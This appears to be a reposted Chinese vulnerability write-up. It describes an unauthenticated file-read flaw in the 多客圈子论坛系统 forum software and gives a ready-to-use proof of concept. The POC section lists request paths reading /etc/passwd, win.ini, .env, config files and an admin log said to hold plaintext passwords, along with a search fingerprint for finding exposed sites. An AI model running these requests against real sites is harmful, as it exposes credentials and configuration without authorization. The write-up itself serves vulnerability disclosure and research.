多客圈子论坛系统存在httpGet文件读取漏洞

admin
admin
admin
137989
文章
113
评论
2024年7月15日10:46:56评论16 views字数 498阅读1分39秒阅读模式
 

1
漏洞描述
多客圈子论坛系统存在httpGet文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件等)，导致网站处于极度不安全状态。

2
漏洞复现
首页

多客圈子论坛系统存在httpGet文件读取漏洞

GET方式访问

多客圈子论坛系统存在httpGet文件读取漏洞

点击网站右下角的Thinkphp图标，能看到绝对路径。可以直接读取log文件或者数据库文件这里能直接看到管理员明文密码的(大概率)。

多客圈子论坛系统存在httpGet文件读取漏洞

多客圈子论坛系统存在httpGet文件读取漏洞

3
网络测绘
body="/static/index/js/jweixin-1.2.0.js"

4
漏洞POC
地址/index.php/api/login/httpGet?url=file://C:/windows/win.ini
地址/index.php/api/login/httpGet?url=file:///etc/passwd
绝对路径/runtime/admin/log/single.log
绝对路径/.env
绝对路径/config/cfg/base.php
5
参考地址
https://mp.weixin.qq.com/s/S12FdNBxJXyS8QXrEHOTfg
 

原文始发于微信公众号（我吃饼干）：【漏洞复现】多客圈子论坛系统存在httpGet文件读取漏洞

 

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日10:46:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   多客圈子论坛系统存在httpGet文件读取漏洞https://cn-sec.com/archives/2954845.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息